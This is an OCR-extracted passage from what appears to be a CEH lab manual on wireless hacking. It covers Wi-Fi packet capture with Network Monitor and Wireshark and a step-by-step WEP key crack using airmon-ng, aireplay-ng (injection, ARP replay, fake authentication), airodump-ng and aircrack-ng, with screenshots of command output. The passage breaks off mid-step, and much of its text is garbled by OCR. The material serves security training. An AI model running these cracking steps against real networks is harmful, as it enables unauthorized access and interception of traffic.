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Module 16 - Hacking Wireless Networks

Hacking Wireless Networks

Wi-Fi is developed on IEEE 802.11 standards and is widely used in wireless
communication. 1t provides wireless aceess to applications and data throughont a radio
network.

Lab Scenario

Wireless network technology is becoming increasingly popular, but at the same time,
it has many security issues. A wireless local area network (WLAN) allows workers to
access digital resources without being tethered to their desks. However, the
convenience of WLANS also introduces secutity concerns that do not exist in a wired
wotld. Connecting to a netwotk no longer requires an Ethernet cable. Instead, data
packets are aitborne and available to anyone with ability to interceptand decode them.
Several reports have explained weaknesses in the Wired Equivalent Privacy (WEP)
algorithm by 802.11x standard to encrypt wireless data.

To be an expert ethical hacker and penetration tester, you must have sound
knowledge of wireless concepts, wireless encryption, and their related threats. As a
secutity administrator, you must protect your company’s wireless network from
hacking,
Lab Objectives
The objective of this lab is to protect the wireless network from attackers.
In this lab, you will learn how to:

= Capture and Analyze Wireless Network Traffic

= Crack WEP by using vatious tools

= Crack WPA by using various tools

Lab Environment

In this lab, you will need a web browser with an Internet connection.
= Windows 10 running as virtual machine
= Kali Linux running as virtual machine

Lab Duration

Time: 35 Minutes

Overview of Wireless Network

“Wireless network” refers to any type of computer network commonly associated
with telecommunications, whose interconnections between nodes are
implemented without the use of wires. Wireless telecommunications networks
are generally implemented with some type of temote information transmission
system that uses electtomagnetic waves such as radio waves for the carrier. The
implementation usually takes place at the physical level or layer of the network.
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Lab Tasks
Pick an organization that you feel is worthy of your attention. This could be an

Overview
educational institution, a commercial company, or perhaps a nonprofit charity.
Recommended labs to assist you in Wireless Networks are:

= WikFi Packet Sniffing using Microsoft Network Monitor and Wireshark

= Cracking a WEP Network with Aircrack-ng

= Cracking a WPA Network with Aircrack-ng

Lab Requirements

Before you start performing any labs in this module, you have to configure your
environment so that you can connect your machine to a wireless network. You will
need a wireless network adaptor and an access point for demo purpose.

In this lab we have used Linksys 802.11 g WLAN adaptor and CEHLabs as the access
point for demonstration purpose. CEHILabs access point has been configured with
WEP and WPA encryption as per the lab requirements of Lab 2and Iab 3.

e Firstlog-in to Windows 10 virtual machine and then plug in the WLAN
adaptor. Removable Devices window pops up, click OK to proceed as
shown in the screenshot.

Removable Devices X
The following devices can be connected to this virtual machine using
the status bar or choosing VM > Removable Devices:

14 Linksys 802.11 ¢ WLAN
Each device can be connected sither to the host or to one virtual
machne at a tme.
[[JDo not show this hint again

FIGURE 1: Removabk Devices pop-up window

e Now rightclick your VM’s tab in the vmware menu bar and click
Removable Devices > Linksys 802.11 g WLAN -> Connect (Disconnect
from Host) as shown in the screenshot.

il Cdr Vi WM Tab: Hep W - | om oI = B =[5 wiesows 10 ) = 0 R
Clese Teb
() Power
OO (418
¥ Nemwork Adapter Paaze
Prisidy £ Send ChileAksOnd
¥ Sourd Card 4 | Grb Input
Linksys 211 g WLAN Connect (Diszonnect from Host)
Chaewge ‘cun...
& Show n Status Bar
e
Rer=tall YWhware Tools..
Su  Sttegs.
FIGURE 2 Connecting the wirckss adaptor to the VM
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e Now in your virtual machine, open Network and Sharing Center and click

Change adapter settings.

Note: You can find Network and Sharing Center option in the Control
Panel.

TN . —
&5 Neb haring Center - a0
A 8% <« All Control Panel ltems » Network and Sharing Center v b Search Control Panel p
ontrci Pariiiiioune View your basic network information and set up connections
View your active networks
Change advanced shanng Network 5 Access type: Internet
settings Public network Connections: § Ethemet0
Change your networking settings
Set up 8 new connection or network
Set up 3 broadband, dial-up, or VPN connection; or set up a router or access point,
'_:j Troubleshoot problems
Diagnose 2{,"’ repair network problems, or get troubleshooting information.
FIGURE 3: Network and Sharing Center window
L]

In the Network Connections window, first disable your wired netwotk
interface (here Ethernet0) by selecting the network interface, right-click on
it and click Disable.

Note: If a pop-up appears, click Yes.

'@ Network Connections

= a X
A & « Network and Internet » Network Connections » vy Search Network C P
Organize v Disable this network device Diagnose this connection Rename this connection  » e ™ O
"!' Ethernetd Ty Wifi3
Network 5 % Not connected
G intel(R) 825741 Gigabit Network C... | 3¢ ol Compact Wireless-G USB Networ,
I Disable
Status
Diagnose
& Bridge Connections
Create Shortcut
© Deete
% Rename
® Properties
FIGURE 4: Network Connections window
e Now select your wireless interface (hete Wi-Fi 3) and click Connect To
button from the menu bar.
& Network Connections - a X
A & « Networkand Intemet » Network Connections v &  Search Network Connections - 0
Organize v Disable this network device Diagnose this connection  » g« e

Ethemnetd
Disabled
Intel(R) 82574L Gigabit Network C..,

Wi-Fi3
CEHLabs

i Compact Wireless-G USB Networ..

K-

FIGURE & Connecting to the wireless network
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e Settings window appeats with Wi-Fi settings being shown as default, select
your wireless interface and click Connect as shown in the screenshot.

< Settings i o]

£33 NETWORK & INTERNET | Find a setting A

P v

Data usage
CEHLabs
fﬁ Secured

B4 connect automatically

VPN

Dial-up

Proxy

f_

FIGURE 6 Connecting to the wirckss network

e You will have to enter the network security key and click Next to connect.

€ Settings - o X
37 NETWORK & INTERNET [ Find a setting 2]
Wi-Fi 2
Data usage
r CEHLabs
VPN 3 Secured
Enter the network security key
Dial-up l essssccee f;,\l
Proxy

[[] share network with my contacts

FIGURE 7: Connecting to the wirckss network
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e The virtual machine connects to the wireless network interface as shown in

the screenshot.
| s X

37 NETWORK & INTERNET [ Find a setting 2
Wi-Fi 2

Data usage
Y CEHLabs

VPN (G Connected, secured

Dial-up 1%

FIGURE 8 Wireless network connected

e In this way, you can connect a wireless network to your virtual machines.
Repeat similar steps if you are using the wireless network with other virtual
machine.

Note: You can use the adaptor for only one virtual machine at a time.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
on your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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WiFi Packet Sniffing using Microsoft
Network Monitor and Wireshark

Microsoft Network Monitor is a packet analyzer which enables capturing, viewing,
and analyzing network data and deciphering nesyork profoaols

Lab Scenario

Witeless networks can be open to active or passive attacks. These attacks include DoS,
MITM, spoofing, jamming, war driving, network hijacking, packet sniffing, and many
mote. Passive attacks that take place on wireless networks ate common and are
difficult to detect since the attacker usually just collects information. Active attacks
happen when a hacker has gathered information about the network after a successful
passive attack. Sniffing is the act of monitoring the network traffic using legitimate
network analysis tools. Hackers can use monitoting tools, including AiroPeek,
Ethereal, TCPDump, or Witeshark, to monitor the wireless networks. These tools
allow hackers to find an unprotected network that they can hack. Your wireless
network can be protected against this type of attack by using strong encryption and
authentication methods.

In this lab, we use Microsoft Network Monitor, a tool that can sniff network usinga
wireless adapter. Because you are the ethical hacker and a penetration tester of an
organization, you need to check the witeless secutity and evaluate weaknesses present

in your organization.

Lab Objectives

The objective of this lab is to capture and analyze wireless packets in a network.
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Lab Environment
To execute this lab, you will need:

7 Tools
demonstrated in =  Run this lab in Windows 10 machine
this lab are
a T sy
available at Administrative privileges to run tools
Z:\CEH- = A dlient connected to a wireless access point
Tools\CEHv10
Moiuis 16 Lab Duration
Hacking Wireless
Networks Time: 10 Minutes
A network monitoring system gives you a full overview of what’s going on in your
network at all times. A netwotk monitor has the ability to manage multiple servers
and can also manage data from multiple devices such as switches, routers, firewalls,
etc. Leatning to monitor your network is a great way to know the stress on your
network infrastructure and to see what kind of demands it can handle from the users.
By knowing about all the overview information, it helps you to troubleshoot your
network and a good amount of data to build your future growth plan for your
networking infrastructure.
e ———————— .
B rask 4 1. Navigate to Start > All Apps = Microsoft Network Monitor 3.4 and
click Microsoft Network Monitor 3.4 to launch the application. The
Launch Microsoft application main window appears as shown in the screenshot.
Network Monitor 5
34 andselectthe [T ——
eaptwohtelfaoe ) Now Cagture  * Opom Cagtunn & Paner Pooties = 1) Optioms 4 Mow Do | o)
e L
| X | Gt S it Mcroset etmort Momter 14 x|
[ — Welcome to -
oo Camnte Microsoft Network Monitor 3.4
(S
M0t Network MOntor 5 2 1001 f0r viewing the contents of network packets
That are Dewng sent and recernved Over & live Retwork COnNecton or from
previously captured Gata file. It prowdes filtenng options for complex analyss of
network data
‘What's New
*  User Interface Refresh The Network Montor Ul has evolved New
features have been added and previoutly haed-10-find features have
Deen made more readdy avalable
'l «  Parser Configuration Management: Parsers are now instalied with
x| profiles that alow you 10 easily switch between parser
CONBGUEaAtions with the Parier Profies tooibar button. These
Trendy e B configuraton are #ls0 cached. removing the need to recompele
faatap. [CHMAC | TG 40A0 ATA L TIOD FOR1T) Mosaeh ATAA When you Switch Detween them
d ocs Arws Coveacten® ) o Tweds +  Column Management Network Montor wil automatically choose &
I3 wns Compact v emn column layout based on the type of file being opened. This column
layout is applied t0 the Frame Summary Window. This layout can be
modified and saved for future use. In 33ADON. two extra layouts for
HTTP ana TCP dlagnostics are inciuded.
*  Color Rules: Network Monitor can now save sets of Color Rufes to
fides for eany sharing. You can also right-cikck in the Frame Summary
ang Frame Detadls windows t0 add 3 new Color Rule
*  Window Layout Dropdown The new window Layout dropdown
g 2 Ooowides muitinle (OASEANONS 10 window AtASGement. You (A0
| )
FIGURE 1.1: Microsoft Network Monitor 3.4 main window
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2. In the Select Networks window on the bottom-left, check only the
wireless interface (here Wi-Fi 3) and leave the other options unchecked.

™m
[electNetworls X
I3 Properties | % P-Mode
Friendly Name Description
[Jiisatap.{C8964EC 1-77BC-45AB-A5A 1-20DEF 1F03817) Microsoft ISATAP
Local Area Connection™ 3 Microsoft Teredo
q M wiFi 3 Compact Wir |
< >
Version 3.4.2350.0

FIGURE 1.2: Selecting the network interface
3. Now click the New Capture button present in the menu bat, as shown

H task 2 ;
in the screenshot.

Open a new
capture B8 Microsoft Network Monitor 3.4
File View Tools Help
[ New Coptare ).+ Open Capure
@0 StatPage 3 Pamers
Recent Captures X
FIGURE 1.3: Opening a New Capture
B rasx o3 4. Now click the Capture Settings button from the menu bar.
D tcrosemt Netaea Momece 1.4 - 0 X
Mmm Fle Ede View Fame Captwe Fte Dpem Teok Mep ]
capture settings |1 "evConee * OpenCome [l (G CRRTROR) ¥ St 8 (o 8 :
Cootred ( QutPage ) Faven
. oos X | [Dusploy Fter X
| K. fophy & Remove | & History v ' Load Fiter v G SwveFites 2 Clew Tt |

FIGURE 1.4: Opening Capture Settings

Ethical Hacking and G Copyright © by EC-Councll

CEH Lab Manual Page 1281
All Rights Reserved. Reproduction is Stricdy P
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5. Capture Settings window opens, double-click on the wifi adapter (here
Wi-Fi 3) in the select network adapters to capture section.

Capture Settings: Captured X
Current capture filter:

Z_Apply & Remove ‘ % History v “Z Load Filter v G SaveFilter (2 Clear Text
Select network adapters to capture:

& Properties | 5 1o

Friendly Name Description IPv4... IPw

[ isatap. {C896-‘EC1 -778C-45AB-A5A 1-20DEF 1F03817) Macrosoft ISATAP Adapter E ] None  fe®

i 200

@ WiFi 3

< >

FIGURE 1.5 Capture Settings window

6. Network Interface Configuration window opens, click Scanning
Options button.

Network Interface Configuration X

WiFi 3
Description: Compact Wireless-G USB Network Adapter A
IPv4 Address: 10.0.0.4
IPv6 Address: fe80::e44e:7b62: 1c7f: 7f3e%13
Hardware Address: 68-7F-74-67-DB-F6
Permanent Address:
Media Type: Wifi
State: Stopped v

8 Scanning O ok || cancel

FIGURE L& Network Interface Configuration window
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7. WiFi Scanning Options window appears, tick the Switch to Monitor
Mode checkbox and click Apply button as shown in the screenshot.

WiFi Scanning Options - X

Keep this window open while capturing in monitor mode. Closing the window will restore all wireless
cards to default, local mode.

Select adapter: | WiFi 3 <

Warning: Switching to Monitor Mode will break your wireless data connection. Returning to
! Local Mode will restore connectivity.

(O select a layer and channel 802.11g 3
(®) Scan on layer(s) and channel(s)

#-1802.11b Timeout per channel:
ooz 1 (00| o

| Close and Retu to Local Mode | ([ Apoly ]}

|Monitor Mode: Off Layer: Channel:

FIGURE. 1.7: Wili Scanning Options window
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8. Now close the Scanning Options window by clicking the cross button
on the title bar.

Note: Do not press the Close and Return to Local Mode button ot your
settings will be reset.

a WiFi Scanning Options = -

Keep this window open while capturing in monitor mode. Closing the window will restore all wireless
cards to default, local mode.

Select adapter: |WiFi3 24

[ switch to Monitor Mode
| Warning: Switching to Monitor Mode will break your wireless data connection. Returning to
! Local Mode will restore connectivity.
(O select a layer and channel 802.11g 3

(®) Scan on layer(s) and channel(s)

@-1802.11b Timeout per channel:

@ [F802.11g ilseronids

Close and Return to Local Mode

|Monitor Mode: On, Scan Layer: 802.11b Channel: 3

FIGURE 1.8: Wil Scanning Options window

9. Close the Network Interface Configuration by clicking the OK button.

Network Interface Configuration X

WiFi 3

Description: Compact Wireless-G USB Network Adapter ~
IPv4 Address: 10.0.0.4

IPv6 Address: fe80::e44e:7b62: 1c7f: 7f3e%13

Hardware Address: 68-7F-74-67-DBF6

Permanent Address:

Media Type: Wifi

State: Stopped v

@scamnng optons | 0C ) | concel |

FIGURE 1.9: Network Interface Configuration window
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10. Close the Capture Settings window by clicking the Close button as
given in the screenshot.

Capture Settings: Captured X
Current capture filter:
r
| L_Apply & Remove | 3 History v “Z Load Filter v g SaveFilter (2 Clear Text
Select network adapters to capture:
| & Properties | 37 1ode
Friendly Name Description Pv4... IPw
[ isatap. {C8964EC 1-77BC-45AB-A5A 1-29DEF 1F03817) Microsoft ISATAP Adapter #2 None fed
[[] Local Area Connection® 3 Microsoft Teredo Tunneling Adapter None 200
M ESE reless-G USB Network Adapter  10.0,0.4 fe8
| < >
— =

TASK 4

Start the Packet

|1 New Capture % Open Capture ] Save s wwm@- ™
B Catrod ) St Page L Pamens

FIGURE 1.10: Capture Settings window
11. Click Start in the menu bar to begin your network monitoring.

Microsoht Network Mondor 3.4 - o X
Fie Edt View Frames Capture Fiter Experts Took Melp

X | |Dinplay Fiter X
Press Surt” L Apply & Remove | & Hitory v N Load Filter » G Seve Fter 2 Clear Tt

FIGURE L.11: Starting the packet capture
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12. The application starts capturing packets and displays them in the Frame
Summary window. You can see the number of captured packets at the
bottom as shown in the screenshot.

Mucroselt Netweek Montor 3.4 - E x
(Fde de View Frames Capture Fiter Eaperts Took Melp
<M Pane @ Stop -
7 X
Lo hoply G Remove | G Mitory = % Load Filter » G Seve e 2 Clear Test
"
W Orogbox.ewe (3
W @ dvome.exe (374)
.!‘Dm(m Ffmd e § 3 Avtescren #2 Color Rules (W Aliases = -CW'I
= !mmm Frame Number Tme Offaet Sourer Destraton Protocol Name  Descrotion ~
W ) eudnonn> 1 1 AM 172072038 0003100 Netmorfiter  Netmorfiter Updated
2 1 AM 120201 0 Networkdnfols Networtidol s Netwo
3 1w AM 120/2010  0.0851009 S2A 5T We
4 AM 1207201 0.7 20524 £ 5T WA
s AM L0701 0.2%00192 %e g1 WA we
. AM 120/2088  0.9925%07 4 we
? = BROWER BROWSER Local Maste
] 7] WA
’ we W
0 0.1 o ONG i Quer y1g = Ov0C
i wn e
2 ore OGS i1Queryld = 0w X
5] WA
S| WA
5] WA
e v
>
%
W Width = |Prot O, Frame Off:
>
FIGURE 1.12: Packet capture started
B rask s 13. Keep the packet capture running for a few minutes and then click the
Stop button in the menu bat.
Stop the Packet
Microsoht Network Monsor 1.4 - (s} x
Capture

Fie €0t View foomes Coptwe Fimer Gpets  Tooh  Help
1 NewCaptore % Open Coptue [ Sove s | 7 Copturesetings & 100 0 Pause (@ S10p)

Wastng for netwerk Wafc || f Aooly G Remove | & Mistory = % Load Fiter v Seve Fiter (2 Clewr Tt

FIGURE 1.13: Stopping the packet capture
14. Now click the Save As button as shown in the screenshot.

VAcrenoh Network Menner 14 E——
Save the Capture |« 9 Ve fome Cotue Fre Gpets Tooh Help
Packets 3 NewCopture % Open Captore ([ Seve s ) 7 Coptore Sertmgs. b Stam i 7o @ oo -
, q
L Apply G Bemove | % Matory v & Load Fiter « G SoveFiner 2 Clew Te |
FIGURE 1.14: Saving the aaptured packets
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15. save As window appears, select a location and input the filename (here
Desktop and test) and click the Save button.

Save As

X

Save in: [- Desktop

v] 02 rE
* Name Date modified

No items match your search.
Quick access

Desktop

Type

(o
Libraries

@
This PC

= <
Network

File name: (t&

Save as type: _thue File (‘.cq:)
Frame selection

(®) Al captured frames

(O Displayed frames

(O selected frames

(O Frame range (eg. 1,3,5-12):

Record display fiter in capture file

FIGURE 1.15 Saving the aptured packets
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ED Wireshark is a
network packet analyzer
that captures network
packets and tries to disphy
that packet data as detailed
as possible.

EEI ‘The following are
some of the many features
Wireshark provides
available for UNIX and
Windows.

* Capture live packet data
from a network
interface.

Display packets with
very detailed protocol
information.

Open and Save packet
data captured.

Import and Export
packet data from and to
alot of other capture
programs,

Filter packets on many
criteria.

Search for packets on
many criteria.,

Colorize packet display
based on filters.

* Create various

Module 16 - Hacking Wireless Networks

16. Now launch wireshark. The wireshark main window appears, as shown in

the following screenshot:

M The Vireshark Network Analyzer
File Edit View Go Capture Analyze Ststistics Telephony Wireless Tools Help

L rPrREQsasE=EFLSEaqQan
[Acolya diplay fiter_«

Capture

using this fiter: (W [Entes & caoture At <] [NrieTams thowa~

77} AirPcap USB wireless capture adapter ne. 00 A=~
vEthemet (CEHv10 Internal Network Adapter] Mo
vEthemet (Default Switch] RO
Ethemet e

@ USBPcapl JP—

® USBPcap?

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
You are ruming Wisshark 242 (2.4, :

7 Ready 1o loacor caphre

|| o paghezs

L profcs et

FIGURE 1.16: Wireshark main window

17. In the wireshark main window, click File = Open to view the saved

packet capture file for analysis.

# Note: Wireshark isn't
an intrusion detection
system. It does not warn
you when someone does
things on your network
that he/she isn't allowed to
do. However, if strange
things happen, Wireshark
might help you figure out
what is really going on.

m One possible
alternative is to run
tepdump, or the dumpeap
utility that comes with
Wireshark, with superuser
privileges to capture
packets into a file, and later
analyze these packets by
running Wireshark with
restricted privileges on the
packet capture dump file.

M The Wireshark Network Analyzer
Edit View Go Capture Analyze Statistics Telephony

Wireless Tools Help
TizsEqaan )

Open Recent 4

Merge...
Import from Hex Dump...
Close Ctri=W

Save CtrlsS
Ctrleshiftss  [2P (364 KB)
_0_20180111 (4676 KB)

Save As..,
File Set 4

Export Specified Packets...

Export Packet Dissections »
Export Packet Bytes... Ctri+H
Export PDUs to File...

Export SSL Session Keys...

Export Objects 4

Print... Ctrl+P

Quit Ctr+Q

FIGURE 1.17: Opening test.cap file
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EL ‘e latest versionis
faster and contains a lot of
new featres, like APR
(Arp Poison Routing)
which enables sniffing on
switched LANs and Man-
in-the-Middle attacks.

(L] Wireshark can
capture traffic from many
different network media
types—and despite its
name—including wircless
LAN as well. Which media
fypes ate supported,
depends on many things,
such as the opetating
System you are using.

ED) Wireshark can open
packets captured from a
large number of other

capture programs.

Module 16 - Hacking Wireless Networks

18. Wireshark: Open Capture File window appears, select the test.cap file

and dlick Open.
M Wireshark: Open Capture File X
Look in: | [B Desktop Y e cmr
* Name - Date modified Type
(B 1/20/2018 11:53 AM _ Sawvius P2
Quick access
Desktop
o |
Libraries
This PC
< >
! File name: [kw v I
Network > ’
Files of type: | All Capture Fles 2 4|
Read fiter: | Format: Microsoft NetMon 2x
‘MMWVHW v ‘ Size: 364 KiB, 1601 packets
Start / elapsed: 2018-01-20 11:5028/@.";

FIGURE 1.18: Opening test.cap file

19. The test.cap file opens in Wireshark window showing you the details
of the packet for analysis. Here you can see the witeless packets
captured which were otherwise masked to look like ethernet traffic.

Go Captwe Ansiyze Suatistics Telephony

Wiceless Took Help

SRR ensEFIEE QN

Length 1nfo -
201 Beacon frame, SHe2745, Fiied, Flagse.
201 Beacon frame, SNe2746, Fled, Flags
201 Beacon frame, SNe2747, Flied, Flags
201 Beacon frame, SN-2748, Fied, Flags .
293 Local Master cLIenT-e1, wor -

Source Protcsl
_e4:38:00 |882.11
Netgear_ed:38:00 202,11
Netgear_es:35:08 202.11
Netgear_e4:38:00 202.11
10.0.2.3

Netgear_ed:38:00 802.11
Netgear_es:35:08 $02.11

10.0.0.3 ones
Netgear_e4:35:02 se2.11

10.0.0.3 o0
etgear_e4:35:00 £82.11
12 0.519331800  Netgear_e4:38:00 202,11
13 £.321551280  Netgear_es:35:00 802.11
14 1.024130900  Netgear_e4:38:00 802,11

ons

15 1.066045902  10.0.2.3

201 Beacon frame, SNe2749,

201 Beacon frame, SWe2752, FMed, Flags
123 Standard query Ox67¢S A wpad.CAST.
201 Beacon frame, SNe2753, Flied, Flags
201 Beacon frame, SNe27S4, Fiied, Flags
201 Beacon frame, SNe2755, FNed, Flags:
201 Beacon frame, SNe2756, Fied, Flogse. 3

128 Standard query €x7528 SOA Client-91.CAST.com —_—

5 Frame 1: 201 bytes on wire (1606 bits), 201 bytes captured (1608 bits)
heater

Netion 582.11 capture
) 802.11 radio information

IEEE 802.11 Beacon frase, Flags: ........
[ IEEE 502.11 wireless LAN

FIGURE 1.19: Viewing wirckess captured packet details
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20. You can access the saved packet capture file anytime, and by issuing
packet filteting commands in the Filter field, you can narrow down the
packet search in an attempt to find packets containing sensible
information.

21. In real time, attackers enforce packet capture and packet filteting
techniques to capture packets containing passwords (only for websites
implemented on HTTP channel), perform attacks such as session
hijacking, and so on.

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

M Yes O No
Platform Supported
Classroom iLabs
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Module 16 - Hacking Wireless Networks

Cracking a WEP Network with
Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPRA-PSK keys—cracking program that
recovers keys once enough data packets have been captured. 1t implements the standard
FMS attack along with some optimizations like KoreK attacks, and the all-new PTW
attack, thus making this attack much faster than those using other WEP cracking
tools.

Lab Scenario

Network administrators can take steps to help protect their witeless network from
outside threats and attacks. Most hackers will post details of any loops or exploits
online, and if they find a security hole, attackers will descend in droves to test your
witeless network with it.

WEP is used for wireless networks; always change your SSID from the default, before
you actually connect the wireless router to the access point. If an SSID broadcast is
not disabled on an access point, the use of a DHCP server to automatically assign IP
address to wireless clients should not be used, because war-driving tools can easily
detect your internal IP address if the SSID broadcasts ate enabled and the DHCP is
being used.

As an ethical hacker and penetration tester of an organization, your I'T director will
assign you the task of testing wireless security, exploiting the flaws in WEP, and
cracking the keys present in your organization’s WEP. In this lab, we discuss how
WPA keys are cracked using standard attacks such as KoreK and PTW.

Lab Objectives
The objective of this lab is to protect wireless network from attackers.
In this lab, you will learn how to:

= Crack WEP using various tools

= (Capture network traffic

=  Analyze and detect wireless traffic
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Module 16 - Hacking Wireless Networks

Lab Environment

To execute this lab, you will need:
= A Windows 10 virtual machine running
= Kali Linux virtual machine
= Before starting this lab make sure that the Wireless Access point is
configured in WEP Encryption in Windows 10 machine

= This lab requires wireless network adapter installed on your machine.
If you don’t have this adapter, please do not proceed to the lab.

Lab Duration

Time: 15 Minutes

Overview of WEP (Wired Equivalent Privacy)
Encryption

WEDP is a security protocol defined by the 802.11b standard; it was designed to
provide a wireless LAN with a level of security and privacy comparable to a
wired LAN. WEP uses a 24-bit initialization vector (IV) to form stream cipher
RC4 for confidentiality, and the CRC-32 checksum for integrity of wireless

transmission. It has significant vulnerabilities and design flaws and can be easily
cracked.

Lab Task

1. TLaunch a Kali Linux virtual machine and login as root/toor.
2. Open a terminal window from the taskbar.

3. In a terminal window type airmon-ng and press Enter. To find the
wireless adapter

root@kali: ~ e o0
File Edit View Search Terminal Help
:~# |airmon-ng

OHY Interface Driver Chipset

hy2 wlan® rt28eeushb Linksys WUSB54GC v3 802.11g Adapter [Ral
ink RT2076L]

i

FIGURE 2.1: airmon-ng Identifying

4. Now put the wireless adapter into monitor or promiscuous mode, to do
this type airmon-ng start wian0 and press Enter.
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5. By issuing this command airmon will change the interface name as
wilanOmon as shown in the screenshot.

root@kali: ~ [-JC) q

File Edit View Search Terminal Help

airmon-ng start wlan@
could cause trouble

ireplay-ng airtun-ng stops working after
, you may want to run ' mon-ng check kill'

dhclient
Interface Driver Chipset
wlane rt28e0usb Linksys WUSB54GC v3 882.11g Ad talink RT2076L]

(mac80211 monitor mode vif enabled for [ph ® on [phy2jiwlan@mon)
(mac80211 station mode vif disabled for [phy2]wlane)

]
FIGURE 2.2: Starting airmon-ng in Monitor mode
6. Use airodump-ng to get the list of detected access points, and also a list
of connected clients (“stations”).

7. 'Type airodump-ng wlanOmon and press Enter. By issuing this command
we can see all the available Access Points (APs) and clients within our
range.

. In this lab we are choosing CEHLabs to perform the WEP cracking,.

root@Kkali: ~ e 0 ﬂ

oc

File Edit View Search Terminal Help

:~# [airodump-ng wlan®mon

1[ Elapsed: 1 min ][ 2018-01-13 €6:
Beacons #Data, #/c { CIPHER AUTH

41 29 P E CEHLabs
0 PSK
10 2 D 54 1 CM PSK
38 » PSK 25t
2 PSK L ASE3DD

Probe

FIGURE 23: airodump-ng searching for Available Access Points
H task 2

9. Before proceeding, check if the injection attack can be petformed on the

Test for Wireless target AP.
Device Packet
Injection 10. Now, open a new terminal window and type aireplay-ng -9 -e CEHLabs

-a 20:E5:2A:E4:38:00 wlanOmon and press Enter.
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11. In the above command, where:
a. -9 is for Injection Test
b. -e CEHLabs is Wirclesss Network Name
c. -a20:E5:2A:E4:38:00 is the MAC address of the Access Point
d. wilanOmon is the wireless interface name

12. While petforming this process you should receive message as Injection
is working! as shown in the screenshot.

root@kali: ~ e ® O
File Edit View Search Terminal Help
:~#| aireplay-ng -9 -e CEHLabs -a 2
Waiting for beacon frame (BSSID:
Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...

20:E5:2A:E4:38:00 - channel: 7 - |'CEHLabs'

Ping (min/avg/max): ©.579ms/5.391ms/11.241ms Power: -30.53
15/30: 50%

FIGURE 2.4: aireplay-ng perfoming injection attack

13. Next, start airtodump-ng to capture the Initialization Vector (IV) from
the AP.

14. By running this command airodump-ng will capture the IVs generated
from the specific Access Point.

15. Open a new terminal window and type airodump-ng --bssid
20:E5:2A:E4:38:00 -c 7 -w WEPcrack wlanOmon and press Enter.

a. --bssid 20:E5:2A:E4:38:00 is the access point MAC address.
This eliminates extraneous traffic.

b. -c 7 is the channel number for CEHILabs network

c. -w WEPcrack is the name to be prefix for the file which
contains the I'Vs.

d. wilanOmon is the interface name.

root@Kkali: ~ e 00

File Edit View Search Terminal Help
:~# |airodump-ng --bssid 20:E5:2A:E4:38:00 -¢ 7 -w WEPcrack wlan@mon

FIGURE 2.5: airodump-ng capturing the IVs for sekected Access Point
H task 3 TRABSIETEE

16. Next, we need to generate traffic between the AP and the station. Open

G"":"‘“’ ARP another terminal type aireplay-ng -3 -b 20:E5:2A:E4:38:00 -h
¢ 40:9B:CD:97:36:30 wianOmon and press Enter.
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17. It will generate ARP traffic in the network. The reason for choosing the
ARP request packets is because the Access Points will usually rebroadcast
them and this will generate the new IV.

root@kali: ~ 80 ¢

File Edit View Search Terminal Help

wlanémon

C (-h).

channel 7

FIGURE 2.6: aireplay-ng generating traffic

H task a
18. The source MAC address should be associated with the access point in

order to accept the packet. The source MAC address, which is used to
inject the packets has no connection with the Access Point; so the AP
usually ignores the packets and sends out a DeAuthentication packet in
a clear text. In order to create a fake authentication, we need to associate
it with the Access Point.

Fake
Authentication

19. Next, use aireplay-ng to do a fake authentication with the access point,
this will generate authentication packets in the traffic. Open a new
terminal type aireplay-ng -1 0 -e CEHLabs -a 20:E5:2A:E4:38:00 -h
40:9B:CD:97:36:30 wlanOmon and press Enter.

-1 means fake authentication

oo

0 reassociation timing in seconds

-e CEHLabs is the wireless network name

[

-a 20:E5:2A:E4:38:00 is the access point MAC address
-h 40:9B:CD:97:36:30 is our card MAC address

o

f. wlanOmon is the wireless interface name

Toot@Kall - e 0 0]

File Edit View Search Terminal Help

) on channel 7

tem) [ACK]

FIGURE 2.7: aireplay-ng creating a fake authentication
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20. Switch back to the terminal where airodump-ng is running. Wait till the
number of captured packet reaches the range of 15,000-20,000. Press
Ctri+C to stop the capture.

][ Elapsed: 54 mins ][ 2018-01-13 85:30 ][ fixed channel wlan®mon:

PWR RXQ Beacons , #/s CH W“B ENC CIPHER

1] 21826 28509 7 54e. WEP WEP

PWR & Lost Frames Prob

363 1651689

FIGURE 2.8: Stop capturing the packets in airodump-ng

21. Now, launch the aircrack-ng to recover the WEP key from the capture

B task s file. Type aircrack-ng WEPcrack-01.cap and press Enter.
22. By issuing the above command aircrack-ng will crack the WEP key of the
Obtain WEP Key CEHILabs as shown in the screenshot.
root@kall: ~ Q09
File Edt View Search Terminal Help

:~#|aircrack-ng WEPcrack-01.cap
)pening WEPcrack-01.cap
Read 2464654 packets.
# BSSID ESSID Encryption
1 20:E5:2A:E4:38:00 CEHLabs WEP (20509 IVs)
hoosing first network as target.
)pening WEPcrack-01.cap

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 20509 ivs.

Aircrack-ng 1.2 rc4

[00:00:00] Tested 88 keys (got 13614 IVs)

depth byte(vote)

2/ 98(18432) 8B(17920) 3B(17408) 5D(17408)
3/ 48(18176) 33(17920) 92(17408) C3(17408)
o/ 31(20224) 15(18688) 7E(18688) 3B(18176)
e/ 97(22016) 03(19456) 48(18432) 7D(18432)
0/ 49(26480) BF(19968) 14(18432) D7(18176)

KEY FOUND! [ 9 :35:97:49 |
Decrypted correctly: 106%

FIGURE 2.9: aircrack-ng recovering WEP key
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23. Now we will be connecting the CEHLabs access point. To do this
navigate to the top right-side corner of the desktop and click the down
arrow icon as shown in the screenshot, and click Wi-Fi connectivity to
search for available Access Points.

Wired Unmanaged
Wi-Fi Not Connected

VPN ¢

DI'VT‘X‘, Automatic

FIGURE 2.10: Connecting to CEHLabs Access Point

24. It will display the available Access Points, click CEHLabs access point
from the list. As soon as you click on the CEHLabs Access point, it will
prompt you for the Authentication pop-up.

25. Type the key that you have cracked in the Task 5, and click Connect.

Passwords or encryption keys are required to access
the wireless network “CEHLabs".

Key; oooo.ooo.ol

FIGURE 2.11: Authentication required for wirckss network
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26. Once you click Connect button on the Authentication required pop-up,
